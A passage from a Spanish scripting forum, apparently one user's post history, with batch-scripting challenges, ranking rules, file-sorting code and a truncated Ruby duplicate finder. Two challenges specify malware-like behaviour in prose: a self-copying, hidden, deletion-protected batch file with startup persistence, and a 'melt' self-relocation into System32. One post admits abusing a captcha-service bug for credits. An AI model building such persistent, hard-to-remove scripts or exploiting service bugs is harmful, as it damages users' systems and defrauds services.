 :< => 330..341, :> => 342..353, :';' => 354..359, :',' => 360..365, :':' => 366..371, :'.' => 372..377, :- => 378..385, :'!' => 386..391, :'?' => 392..403,
 :'0' => 404..415, :'1' => 416..425, :'2' => 426..437, :'3' => 438..449, :'4' => 450..461, :'5' => 462..473, :'6' => 474..485, :'7' => 486..497, :'8' => 498..509, :'9' => 510..521
}

banner3d = "
:::'###::::'########:::'######::'########::'########:'########::'######:::'##::::'##:'####:::::::'##:'##:::'##:'##:::::::'##::::'##:'##::: ##::'#######::'########:::'#######::'########:::'######::'########:'##::::'##:'##::::'##:'##:::::'##:'##::::'##:'##:::'##:'########::::'##:'##::::'####::::::::'##:::::::::::::::::::::::::::'###:::'######:'######:::'####:'####:::::::::::'####:'####'####::'########::'#####::'##:::::'####::::::::::'##:::'###:'###:::::::::::'#######::'##:::::::'##::'#######::::'##'##::::'####::::::'####::::::::::::::'#####::::::'##::::'#######:::'#######::'##::::::::'########::'#######::'########::'#######:::'#######::
::'## ##::: ##.... ##:'##... ##: ##.... ##: ##.....:: ##.....::'##... ##:: ##:::: ##:. ##:::::::: ##: ##::'##:: ##::::::: ###::'###: ###:: ##:'##.... ##: ##.... ##:'##.... ##: ##.... ##:'##... ##:... ##..:: ##:::: ##: ##:::: ##: ##:'##: ##:. ##::'##::. ##:'##::..... ##::::'##::. ##::: ####:::::::'####:::::::::::::::::::::::::'## ##:: ##...::.... ##::'##..::... ##::::'##::: ####: #### ####:'##. ##. ##: ## ##:'##:::::'##. ##::::::::'##:::'##:::.. ##:::::::::'##.... ##:. ##:::::: ##:'##.... ##::: ## ##:::'##  ##:'##: ####::'##::'##:::'##.. ##:::'####:::'##.... ##:'##.... ##: ##:::'##:: ##.....::'##.... ##: ##..  ##:'##.... ##:'##.... ##:
:'##:. ##:: ##:::: ##: ##:::..:: ##:::: ##: ##::::::: ##::::::: ##:::..::: ##:::: ##:: ##:::::::: ##: ##:'##::: ##::::::: ####'####: ####: ##: ##:::: ##: ##:::: ##: ##:::: ##: ##:::: ##: ##:::..::::: ##:::: ##:::: ##: ##:::: ##: ##: ##: ##::. ##'##::::. ####::::::: ##::::'##::::. ##::....::::::::. ##:::::::::::::::::::::::::'##:. ##: ##::::::::: ##:: ##::::::: ##:::: ##::: ####:. ##:. ##:: ##: ##:..:: #####'##::::::. ####::::::::'##:::'##::::::: ##:'#####:..:::: ##:::. ##::::: ##: ##'### ##:'#########:..::. ####::. ##:::. ##'##:::'##:::: ##::.. ##:::..::::: ##:..::::: ##: ##::: ##:: ##::::::: ##::::..::..:: ##::: ##:::: ##: ##:::: ##:
'##:::. ##: ########:: ##::::::: ##:::: ##: ######::: ######::: ##::'####: #########:: ##:::::::: ##: #####:::: ##::::::: ## ### ##: ## ## ##: ##:::: ##: ########:: ##:::: ##: ########::. ######::::: ##:::: ##:::: ##: ##:::: ##: ##: ##: ##:::. ###::::::. ##::::::: ##::::'##::::::. ##:'####:'####::..::::::::'#######::::::::::..:::..:: ##::::::::: ##:'###::::::: ###:'######:: ##:::..:::..:::. ########::.....'##:::::::'####::::::::'##:::: ##::::::: ##:.....:::::: ###:::::. ##::::..:: ## ### ##:.. ## ##.:::::::....::::. ##:'#########: ##:::: ##:::: ##::::'#######:::'#######:: ##::: ##:: #######:: ########::::: ##::::: #######::: ########:
#########: ##.... ##: ##::::::: ##:::: ##: ##...:::: ##...:::: ##::: ##:: ##.... ##:: ##::'##::: ##: ##. ##::: ##::::::: ##. #: ##: ##. ####: ##:::: ##: ##.....::: ##:'## ##: ##.. ##::::..... ##:::: ##:::: ##:::: ##:. ##:: ##:: ##: ##: ##::: ## ##:::::: ##:::::: ##:::::. ##::::: ##:: ####: ####::'##:::::::........::::::::::::::::::: ##::::::::: ##:. ##::::::: ##::.. ##.:::..:::::::::::::::... ##. ##:::::'##'#####:'##. ##'##:::'##::::: ##::::::: ##:'#####:::: ##.:::::::. ##:::'##: ## #####::'#########:::::::::::::::..::.. ## ##.:: ##:::: ##:::: ##:::'##:::::::::...... ##: #########:...... ##: ##.... ##::: ##:::::'##.... ##::...... ##:
##.... ##: ##:::: ##: ##::: ##: ##:::: ##: ##::::::: ##::::::: ##::: ##:: ##:::: ##:: ##:: ##::: ##: ##:. ##:: ##::::::: ##:.:: ##: ##:. ###: ##:::: ##: ##:::::::: ##:.. ##:: ##::. ##::'##::: ##:::: ##:::: ##:::: ##::. ## ##::: ##: ##: ##:: ##:. ##::::: ##::::: ##:::::::. ##::: ##:::. ##::. ##::'####:'###:::::::::::::::::::::::::::: ##::::::::: ##:: ##::::::: ##:::: ##:::'####::::::::::::'##: ##: ##::::'##: ## ##: ##:. ##::::'##::::::. ##::::: ##::.....:::::..::::::::::. ##:: ##: ##.....:::.. ## ##.::::::::::::::::::::: ##:. ##::. ##:: ##::::: ##::: ##::::::::'##:::: ##:...... ##::'##::: ##: ##:::: ##::: ##::::: ##:::: ##:'##:::: ##:
##:::: ##: ########::. ######:: ########:: ########: ##:::::::. ######::: ##:::: ##:'####:. ######:: ##::. ##: ########: ##:::: ##: ##::. ##:. #######:: ##::::::::. ##### ##: ##:::. ##:. ######::::: ##::::. #######::::. ###::::. ###. ###:: ##:::. ##:::: ##:::: ########:::. ##: ##:::: ##:::'##:::. ##:: ###::::::::::'#######:::::::::: ######:'######::. ####:'####:::::..:::: ####::::::::::::. ########::::'##:: #####:. ####. ##:'##::::::::. ###: ###:::::::::::::'##::::::::::. ##: ##:. #######:::: ## ##::::::::::::::::::::::..:::..::::. #####::::'######: #########:. #######:::::::: ##::. ######::. #######:::: ##:::::. #######::. #######::
..:::::..::........::::......:::........:::........::..:::::::::......::::..:::::..::....:::......:::..::::..::........::..:::::..::..::::..:::.......:::..::::::::::.....:..::..:::::..:::......::::::..::::::.......::::::...::::::...::...:::..:::::..:::::..:::::........:::::..::..:::::.:::::..:::::..:::...:::::::::::.......:::::::::::......::......:::::...::....::::::::::::....::::::::::::::........:::::..:::.....:::....::..::..::::::::::...::...::::::::::::::..::::::::::::..::..:::.......:::::..:..:::::::::::::::::::::::::::::::::::.....:::::......::.........:::.......:::::::::..::::......::::.......:::::..:::::::.......::::.......:::
"
banner3d_chars = {
 :' ' => ' ',
 :a => 0..10, :b => 11..21, :c => 22..31, :d => 32..42, :e => 43..52, :f => 53..62, :g => 63..73, :h => 74..84, :i => 85..90, :j => 91..100, :k => 101..110, :l => 111..120, :m => 121..131, :n => 132..141, :o => 142..152, :p => 153..163, :q => 164..174, :r => 175..185, :s => 186..195, :t => 196..205, :u => 206..216, :v => 217..227, :w => 228..239, :x => 240..250, :y => 251..260, :z => 261..270,
 :A => 0..10, :B => 11..21, :C => 22..31, :D => 32..42, :E => 43..52, :F => 53..62, :G => 63..73, :H => 74..84, :I => 85..90, :J => 91..100, :K => 101..110, :L => 111..120, :M => 121..131, :N => 132..141, :O => 142..152, :P => 153..163, :Q => 164..174, :R => 175..185, :S => 186..195, :T => 196..205, :U => 206..216, :V => 217..227, :W => 228..239, :X => 240..250, :Y => 251..260, :Z => 261..270,
 :< => 271..277, :> => 278..284, :';' => 285..290, :',' => 291..296, :':' => 297..302, :'.' => 303..307, :- => 308..316, :_ => 317..325, :'^' => 326..334, :'[' => 335..342, :']' => 343..350, :'{' => 351..358, :'}' => 359..366, :+ => 367..374, :'!' => 375..380, :'"' => 381..391, :'$' => 392..403, :% => 404..417, :& => 418..428, :/ => 429..438, :'(' => 439..445, :')' => 446..452, :'=' => 453..459, :'?' => 460..470, :'\\' => 471..480, :| => 481..484, :'@' => 485..495, :'#' => 496..506, :~ => 507..518, :` => 519..524, :* => 525..535,
 :'0' => 536..546, :'1' => 548..555, :'2' => 556..566, :'3' => 567..577, :'4' => 578..588, :'5' => 589..598, :'6' => 599..609, :'7' => 610..619, :'8' => 620..630, :'9' => 631..641

string = 'Elektro   Hacker'

# ... más código abajo

#883
Scripting / [Reto Batch] VIRUS HELLO !!
9 Mayo 2012, 15:19 PM
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 13

Nombre:           Virus HELLO !! (Elektro H@cker)
Dificultad:         5/10
Objetivo:          Crea un bat que cumpla estas funciones:


  • El bat se debe autocopiar a si mismo en TODAS las carpetas y subcarpetas del PC.
  • Cada vez que se crea una copia, La copia debe tener un nombre distinto al Bat original, Un nombre aleatorio, Para que séa más dificil de localizar las copias y eliminarlas.
  • Cada copia debe tener el atributo de archivo OCULTO y SOLO LECTURA
  • Cada copia debe tener los privilegios de usuario DENEGADOS A LA ELIMINACIÓN para impedir que el archivo se elimine facilmente.
  • Se debe crear una taréa programada o una clave de registro en el sistema que ejecute CADA COPIA al iniciar sesión en la cuenta de ese usuario.
  • Cada copia solamente debe mostrar un mensaje de ECHO **** y el comando Pause, NO DEBE VOLVER A AUTOCOPIARSE cuando se ejecute la taréa.

- Con lo cual nos quedará un bonito inicio de sesión :D que ejecutará unas +15.000 copias de un bat dificil de borrar para un usuario novato.
PD: La intención de este reto es que aprendan a usar comandos muy importantes!.

Indicaciones:   Las carpetas que necesiten privilegios de admin no tiene importancia.
Pistas:              Comandos: SET /?, FOR /? /?, SCHT???S, REG ???, A??RIB, ?CACLS, ????OWN.
Ejemplo:
                              
Solución:         Pedir por mensaje privado
#884
Scripting / [Reto Batch] cifrado caesar
6 Mayo 2012, 13:11 PM
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 10

Nombre:           Cifrado Caesar (Elektro H@cker)
Dificultad:        7/10
Objetivo:         Crea un bat que pida una palabra/frase, En fin, Texto. Y séa capaz de encriptarlo Y DESENCRIPTARLO por el método CAESAR de deslizamiento de caracteres.
Indicaciones:   El bat debe tener una opción para definir el shift del cifrado, Es decir, El número de veces que se deslizará cada caracter hacia la derecha.

Ejemplo:
                             
Solución:         Pedir por mensaje privado
#885
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 9

Nombre:           Tablas de multiplicar (Elektro H@cker)
Dificultad:        3/10
Objetivo:         Genera las tablas de multiplicacar del 1 al 9 (1x1 es 1, 1x2 es 2, etc... Ya todos sabemos xD)
Indicaciones:   No hacer trampa!, Esto no me sirve:
Código (dos) [Seleccionar]
Set "tabla_del_1=1 2 3 4 5 6 7 8 9"
Echo La tabla del 1 es: %tabla_del_1%


Ejemplo:
                       
Solución:         Pedir por mensaje privado
#886
Scripting / [Reto Batch] Sort random nums
5 Mayo 2012, 17:04 PM
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 7

Nombre:           Sort random nums (Elektro H@cker)
Dificultad:        3/10
Objetivo:         Un bat que genere una lista de 20 números aleatorios, de 3 cifras, Y muestre el resultado ordenado.
Ejemplo:
                       
Solución:         Pedir por mensaje privado
#887
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:

Reto iniciado por ELVJop

Reto Nº 6

Nombre:            Menu contextual (ELVJop)
Dificultad:        3/10
Objetivo:         Crear un bat que agregue una entrada al menu contextual
Pistas:               Dare una pista que en teoria ayudaria un poco: Regedit > HR ||Pista aparte|| System 32
#888
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:

Reto iniciado por 79137913

Reto Nº 5

Nombre:            IsFibonacciNumber (79137913)
Dificultad:        7/10
Objetivo:         Crear un bat que pida un número o una serie de números, Y que compruebe si pertenecen a la secuencia de Fibbonacci
Ejemplo:  
                         Entrada 1 2 3 4 5 6 7 8 9 10 11 12 13
                         Salida: 1 1 1 0 1 0 0 1 0 0 0 0 1
#889
Scripting / [Reto Batch] Melt ($Edu$)
5 Mayo 2012, 11:46 AM
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:

Reto iniciado por $Edu$

Reto Nº 4

Nombre:           Melt ($Edu$)
Dificultad:        3/10
Objetivo:         "Crear un bat que al ejecutarse, se autocopie a system32, se ejecute la copia y se borre el original (el que se ejecuto por primera vez). Pero el original tendra que ser borrado en el acto, mientras esta corriendo la copia con su mensaje que sera "Hola, estoy en %0" y una pausa, asi al probarlo dira "Hola, estoy en C:\Windows\System32\copia.bat" si todo funciono bien. Nada de que se borre el original luego de que se cerro la copia, ya que piensen que el mensaje que mostrara tendra una pausa y hasta que no se presione una tecla no se borraria el original, y eso no tiene que suceder.

La primera vez que se ejecute hara lo anterior dicho, pero las siguientes veces que se ejecute la copia en system32, solamente mostrara el mensaje. Cuidado con los posibles bugs, no tiene que haber fallos nunca."
Indicaciones:   El usuario solamente vera que cuando ejecuto el bat, este desaparecio de donde estaba pero sigue ejecutandose, mostrando un mensaje que diga: "Estoy en %0" asi se sabe si funciono el melt o no.
#890
Scripting / [Reto Batch] It's a dir?
5 Mayo 2012, 11:29 AM
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 3

Nombre:           It's a dir? (Elektro H@cker)
Dificultad:        2/10
Objetivo:         Comprueba todos los archivos de un directorio, Verifica si son un directorio o un archivo, Y muestra la verificación al lado del nombre del archivo/directorio.
Indicaciones:  Debe comprobar directorios y archivos.
Pistas:              Se puede realizar con un solo comando.
Ejemplo:
                       
Solución:         Pedir por mensaje privado
#891
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:

Reto Nº 1

Nombre:          Jugando con la IP I (Elektro H@cker)
Dificultad:       3/10
Objetivo:        Obtener la IP del remitente de un e-mail de Hotmail, Y resolver el dominio.
Indicaciones:  Debe soportar un header de correo Hotmail. No quiero que lo hagan con un correo de Gmail, Que oculta la ip real.
Pistas:              No hay que dominar Batch, Solo conocer sus comandos.
Ejemplo:
                       
Solución:         Pedir por mensaje privado

#892
Scripting / Zona de retos Scripting
5 Mayo 2012, 08:23 AM
Bienvenid@ a la zona de retos de Scripting.



Un lugar para destripar todos tus conocimientos y mostrarselos al mundo entero!

Aquí se irán recopilando todos los retos de lenguajes scripting que vayan aportando.
Si quieren participar añadiendo o solucionando retos, Sigan leyendo más abajo.

Ayuden a colaborar con este post :)

Un cordial y especial saludo para todos aquellos que han participado o colaborado aportando su pequeño grano de arena.
Elektro H.






REGLAS DE PARTICIPACIÓN:

Estas reglas han sido ideadas entre los participantes para el correcto funcionamiento de los retos, dichas reglas sólamente afectan a este tema y están aisladas de las reglas de la comunidad de ElHacker (CAREN), no recibirán un baneo ni nada parecido si incumplen alguna de las siguientes normas, pero serán sancionados dentro del "juego", hagan el favor de cumplirlas.

- Para publicar un reto pueden mandarme un MP con su reto, O pueden crear un post en el subforo con el siguiente TAG:

Cita de: Retos Batch[Reto (LENGUAJE)] Nombre del reto

- Formato a seguir para publicar un reto:

Cita de: Retos Batch* Nombre:        (Nombre del reto)   (Tú nombre)
* Dificultad:      (X/10)
* Objetivo:        (Objetivo del reto)
 Indicaciones: (Indicaciones especiales, Si fuese necesario.)
 Pistas:            (S quieren dar pistas...)
 Ejemplo:         (Un código o una imagen de ejemplo para dar una pista, O para indicar como debe quedar el resultado final.)
 Solución:        (Un enlace a Pastebin.com con la solución)

* Solo es obligatorio rellenar los campos marcados con un asterisco.

- Formato a seguir para publicar un crackme:

Cita de: Retos Batch* Nombre:       (Nombre del crackme)   (Tú nombre)
* Dificultad:     (X/10)
* Objetivo:       (Objetivo del crackme)
 Indicaciones: (Indicaciones especiales, Si fuese necesario.)
 Pistas:           (S quieren dar pistas...)

* Código:
echo "xxxxx"
...

  Solución:        (Un enlace a Pastebin.com con la solución)

* Solo es obligatorio rellenar los campos marcados con un asterisco.

- Tener en cuenta todas las normas del foro y el subforo de programación.

- No copiar soluciones de Google ni soluciones de los demás compañeros.

- Si postean una un code/solución, No convertir el script a exe a menos que séa totalmente necesario.

OTROS ASPECTOS A TENER EN CUENTA:

- Se adjudicará 1 punto en el ranking por cada reto que consigan solucionar, Sin importar la dificultad del reto.

- No se adjudicará ningún punto en el ranking si una persona soluciona su propio reto, Al considerarse una gran desventaja para el resto de participantes.

- Cada reto tendrá su propio post de debate, Para que hagan sus preguntas si se quedan atascados. O para postear su solución.

- Esto es un foro libre, Si quieren pueden pedir la solucion a un reto por mensaje privado a ese usuario, Solamente de el depende querer darte la solución o no.

- Los moderadores tienen el derecho reservado a modificar la dificultad aproximada de un reto (El número), Si así lo cree conveniente.






RANKING:

CitarUSUARIO           |        PUNTOS        |        Numeración de los retos conseguidos

YOU ARE THE WINNER !!           ----->           Binary_death          <-----           YOU ARE THE WINNER !!
Binary_death      |           11           |        Batch: 2, 3,5,8,9,10,11,12,13,14,17
BatchianoI           |           9           |        Batch: 2,4,5,7,8,9,10,14,16
79137913              |           7           |         Batch: 2,6,7,9,10,11,16
-- KiLiaN --           |           7           |        Batch: 1,3,6,7,9,11,12
ELVJop                |           2           |         Batch: 3,9
puntoinfinito        |           2           |        Batch: 3,4
Aleksei7               |           1           |        Batch: 4
juan196518          |           1           |        Batch: 3
Leo Gutiérrez.     |           1           |        Bash: 3
RyogiShiki           |           1           |        Bash: 1
SmartGenius        |           1           |        Batch: 10
Snows                  |           1           |        Batch: 9







ÍNDICE DE RETOS:



Reto Nº 1
Nombre:  Crackme Rune (Runex)
Dificultad:  3/10
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1745399#msg1745399

Reto Nº 2
Nombre:  Generador (Runex)
Dificultad:  2/10
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1745640#msg1745640

Reto Nº 3
Nombre:  It's a dir? (Runex)
Dificultad:  2/10
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1746202#msg1746202


Reto Nº 1
Nombre:  Jugando con la IP I (Elektro H@cker)
Dificultad:  3/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743456#msg1743456

Reto Nº 2
Nombre:  Números II (Puntoinfinito)
Dificultad:  4/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743457#msg1743457

Reto Nº 3
Nombre:  It's a dir? (Elektro H@cker)
Dificultad:  2/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743461#msg1743461

Reto Nº 4
Nombre:  Melt ($Edu$)
Dificultad:  3/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743463#msg1743463

Reto Nº 5
Nombre:  IsFibonacciNumber (79137913)
Dificultad:  7/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743471#msg1743471

Reto Nº 6
Nombre:  Menú contextual (ELVJop)
Dificultad:  3/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743537#msg1743537

Reto Nº 7
Nombre:  Sort random nums (Elektro H@cker)
Dificultad:  3/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743547#msg1743547

Reto Nº 8
Nombre:  Letras Aleatorias (ELVJop)
Dificultad:  4/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743555#msg1743555

Reto Nº 9
Nombre:  Tablas de multiplicar (Elektro H@cker)
Dificultad:  3/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743791#msg1743791

Reto Nº 10
Nombre:  Cifrado Caesar (Elektro H@cker)
Dificultad:  7/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743835#msg1743835

Reto Nº 11
Nombre:  Hex2Dec Batch Command (Batchiano)
Dificultad:  3/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1743886#msg1743886

Reto Nº 12
Nombre:  Get IP from DNS (Batchiano)
Dificultad:  4/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1744123#msg1744123

Reto Nº 13
Nombre:  Virus HELLO (Elektro H@cker)
Dificultad:  5/10
Previa:  http://foro.elhacker.net/scripting/retos_batch_20-t360782.0.html;msg1744937#msg1744937

Reto Nº 14
Nombre:  Generador de numeros primos (Stakewinner00)
Dificultad:  2/10
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1745937#msg1745937

Reto Nº 15
Nombre:  Variaciones con repetición, con 26 elementos [abecedario inglés]  (binary_death)
Dificultad:  7/10
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1763770#msg1763770

Reto Nº 16
Nombre:  Edad Lunar  (binary_death)
Dificultad:  2/10
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1764012#msg1764012

Reto Nº 17
Nombre:  Buscame en el log (puntoinfinito)
Dificultad:  5/10
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1766721#msg1766721


Reto Nº 18
Nombre:  Algoritmo Quicksort (binary_death)
Dificultad:  6/10
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1768357#msg1768357



Reto Nº 1
Nombre:  [RETO-EJERCICIO] Perl (mDrinky)
Dificultad:  N/A
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1913450#msg1913450

Reto Nº 2
Nombre:  Obtener valor de digitos (mDrinky)
Dificultad:  N/A
Previa:  http://foro.elhacker.net/scripting/zona_de_retos_scripting-t360782.0.html;msg1913525#msg1913525


ACTUALMENTE NO HAY NINGÚN RETO

ACTUALMENTE NO HAY NINGÚN RETO

ACTUALMENTE NO HAY NINGÚN RETO
#893
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:

Reto iniciado por Puntoinfinito

Reto Nº 2:

Nombre:         Números II (Puntoinfinito)
Dificultad:       4/10
Objetivo:        Consiste en hacer un batch que al poner un numero neutral luego te diga los siguientes datos:
   

  • El numero que has puesto
  • Como seria invertido
  • El numero mayor
  • El menor numero
  • Y finalmente que te diga todos los números pares de la serie

Pistas:            Con la foto creo que os basta.
Ejemplo:
                     
#894
Scripting / ¿Quieren retos de Batch?
29 Abril 2012, 23:55 PM
El tema sería crear un post dedicado a retos de Batch, Y crackmes.
Tanto ahora como una vez creado el post, Podrían colaborar los interesados en publicar un reto enviandome el reto por MP a mi, O a los compaeros moderadores Novlucker o Leo, (Si primero dan su visto bueno para aceptar MPs con sus retos.) De lo contrario yo me hago cargo de la responsabilidad.

También pueden publicar su reto en el post (una vez creado el post de retos), Y el reto se añadiría en el post principal, Con los demás retos.

Hay un tiempo límite de 8 días para que finalice esta votación.

Pueden publicar aqui sus comentarios, Sugerencias, Criticas constructivas, Ideas, Sus retos, Temáticas de retos, Alguna norma que se les ocurra para los retos, O cualquier cosa que quieran aportar.

Si alguien publica un reto aquí, Queda prohibido que otro usuario comente la solución o haga el reto. (Es una norma temporal y no se va a sancionar al usuario, Simplemente se eliminaría su comentario.)

En el nuevo post de retos, Los retos tendrán un orden numérico para agilizar la tarea de las puntuaciones, Y si alguien comenta sobre algún reto, Puede hacerlo refiriendose al número del reto.
Y se añadirá el nombre de todos los usuarios del foro que solucionen retos. De esta manera:

CitarNombre usuario (Puntuación): Retos solucionados.

Ejemplo:
Citar79137913     |     (3)     |  Nº Retos: 5, 12, 20


En fin, Todo esto suponiendo que la votación final séa del agrado de todos.

Hagan su voto!





Para la correcta labor del tema, Hagan el favor de seguir estas normas que iremos agregando o modificando entre todos:


Formato para publicar un reto:

Citar* Reto:             (Tú Nombre)
* Dificultad:      (X/10)
* Objetivo:        (Objetivo del reto)
 Indicaciones: (Indicaciones especiales, Si fuese necesario.)
 Pistas:            (S quieren dar pistas...)
 Ejemplo:         (Un código o una imagen de ejemplo para dar una pista, O para indicar un método NO ACEPTADO para realizar el reto.)

* Solo es obligatorio rellenar los campos marcados con un asterisco.


Formato para publicar un crackme:

Citar* Crackme:     (Tú Nombre)
* Dificultad:     (X/10)
* Objetivo:       (Objetivo del crackme)
 Indicaciones: (Indicaciones especiales, Si fuese necesario.)
 Pistas:           (S quieren dar pistas...)

* Código:
Código (dos) [Seleccionar]
@echo off
...
...


* Solo es obligatorio rellenar los campos marcados con un asterisco.


Normas para los futuros retos:

- No copiar de Google.

- Si postean un code, No convertir el bat a .exe a menos que séa totalmente necesario.

- Las soluciones a los retos se pueden pedir por privado a ese usuario. Yo personalmente guardaré en mi PC los codes de las soluciones si alguien quiere enviarme, Además del reto, La solución.

- Los moderadores tienen el derecho reservado a modificar la dificultad de un reto (El número), Si asi lo cree conveniente.


Futuros retos:

- 1 reto   por Elektro H@cker
- 1 reto   por $Edu$
- 3 retos por 79137913
- 1 reto   por puntoinfinito



#895
Bueno hice este code para ayudar a un usuario en otra web, Este tema se ha tocado unas cuantas veces así que aquí dejo el code para que usen el buscador y les salga mi respuesta :).

Código (dos) [Seleccionar]
@Echo OFF
Setlocal enabledelayedexpansion

:: By Elektro H@cker
::
:: Copy the Newest file in a folder greater than X bytes to a destination directory.
:: You maybe want to modify these variables:
::
Set "Source=%CD%"
Set "Destination=C:\Test\"
Set "Size=1024"
:: :: :: :: :: :: :: :: ::

for /F "tokens=1-4 delims=;" %%a in ('forfiles /P "%SOURCE%" /C "cmd /c echo @fdate;@ftime;@fsize;@path"') do (
If %%c GTR %SIZE% (
Set "DAY=%%a"  && Set "DAY=!DAY:/=!"
Set "HOUR=%%b" && Set "HOUR=!HOUR::=!"
Echo !DAY!!HOUR!;%%d >> "NewestFile.txt"
)
)

for /F "tokens=2 delims=;" %%# in ('Type "%TEMP%\NewestFile.txt" ^| Sort /R') do (
Copy /Y %%# "%DESTINATION%" 1>NUL
Del /Q "%TEMP%\NewestFile.txt"
Exit
)



EDITO: Más ejemplos

Código (dos) [Seleccionar]
@Echo OFF

:: By Elektro H@cker
::
Set "Origen=%CD%"
:: :: :: :: :: :: :: :: ::

PUSHD "%ORIGEN%"

:: Lista los archivos por últime fecha de modificación.
(For /R %%@ in (*) do (Echo %%~t@ %%~z@ %%@))>"%TEMP%\Fecha.txt"

:: Ordena los archivos por última fecha de modificación (El más reciente primero).
Type "%TEMP%\Fecha.txt" | Sort /R
Pause & Exit


Código (dos) [Seleccionar]
@Echo OFF

:: By Elektro H@cker
::
Set "Origen=%CD%"
:: :: :: :: :: :: :: :: ::
PUSHD "%ORIGEN%"

:: Lista los archivos por tamaño.
(For /R %%@ in (*) do (Echo %%~z@ %%@))>"%TEMP%\tama¤o.txt"

:: Muestra la lista.
Type "%TEMP%\tama¤o.txt"
Pause & Exit



PD: Espero que les sirva. También se puede hacer con FOR /R y/o WMIC.

PD2: No se si añadiré más ejemplos, Ya está casi todo hecho, usen el buscador!

Salu2.
#896
Hola amigos.

Hace varios días que no puedo usar el servicio de captchatrader. Y trás 2 intentos de recibir una respuesta por parte de los autores, Me veo obligado a buscar una respuesta en el foro xD.

Uso la versión del plugin para JD (Windows).

Siempre recibo este error en el log:
Cita de: captchatrader pluginServer returned HTTP response code: 401 for URL: http://api.captchatrader.com/submit

PD: Error HTTP 401 Unauthorized (No autorizado)

No se si pensar que el servicio ha muerto, O tienen algún problema al "autorizar" el uso del plugin, O el problema de "autorización" lo tengo yo.

¿Alguien que use captchatrader EN JD PARA WINDOWS puede decirme si le sigue funcionando bien?

Gracias.

EDITO: Mis datos de logueo son correctos... Y uso la última versión del plugin.  :-\

EDITO 2: A todo esto tengo que decir que en otras cuentas de captchatrader utilicé una técnica muy básica y me aproveché de un bug para conseguir una cantidad inconmesurable de puntos gratis. La cuenta la acabaron baneando (Bueno, Más de una), Pero de esto hará 2-3 meses que dejé de hacer el tonto, Al final acabé haciendo una cuenta para usarla de modo "normal" como el resto de usuarios y siempre he podido usar el plugin con esa cuenta... No creo que séa por eso ¿No? Esta cuenta no está baneada, Y puedo "aprender créditos".

EDITO 3: También he probado a poner mi "passkey" en lugar de mi password, en el archivo de configuración del plugin, pero nada, sigo teniendo el mismo error de autorización :S.
#897


Esta utilidad busca archivos duplicados comprobando el hash CRC32.

Citar
  • Modo de empleo:
              FINDUS [OPCIONES] [RUTA]

  • Opciones:
       [-R]  Habilita la búsqueda recursiva de subdirectorios.

  • Ejemplos:
              FINDUS "%CD%"
              FINDUS -R "C:\Windows"


Código (ruby) [Seleccionar]
# -*- coding: UTF-8 -*-

require "zlib"
exit if Object.const_defined?(:Ocra)

def logo()
print '

  _______   __     _____  ___    ________    ____  ____    ________  
 /"     "| |" \\   (\\"   \\|"  \\  |"      "\\  ("  _||_ " |  /"       )
(: ______) ||  |  |.\\\\   \\    | (.  ___  :) |   (  ) : | (:   \\___/  
 \\/    |   |:  |  |: \\.   \\\\  | |: \\   ) || (:  |  | . )  \\___  \\    
 // ___)   |.  |  |.  \\    \\. | (| (___\\ ||  \\\\ \\__/ //    __/  \\\\  
(:  (      /\\  |\\ |    \\    \\ | |:       :)  /\\\\    //\\   /" \\   :)  
 \\__/     (__\\_|_) \\___|\\____\\) (________/      \\__/     (_______/  

          Find Duplicates v1.0       By Elektro H@cker

'
end

def help()
print '
Este programa busca archivos duplicados comprobando el hash CRC32.

[*] Modo de empleo:

    FINDUS [OPCIONES] [RUTA]

[*] Opciones:

    [-R]  Habilita la búsqueda recursiva en subdirectorios.

[*] Ejemplos:

    FINDUS "%CD%"
    FINDUS -R "C:\Windows"

'
Process.exit
end

def errorcontrol()
 if ARGV.empty?
   help
 elsif ARGV.length == 2 and not File.directory? (ARGV[1])
   help
 elsif ARGV.length == 1 and not File.directory? (ARGV[0])
   help
 end
 if ARGV[0] =~ /-r/i
   $folder = ARGV[1]
   Dir.chdir($folder)
   resursive = File.join("**", "*.*")
   $files = Dir.glob(resursive)
 elsif
   $folder = ARGV[0]
   Dir.chdir($folder)
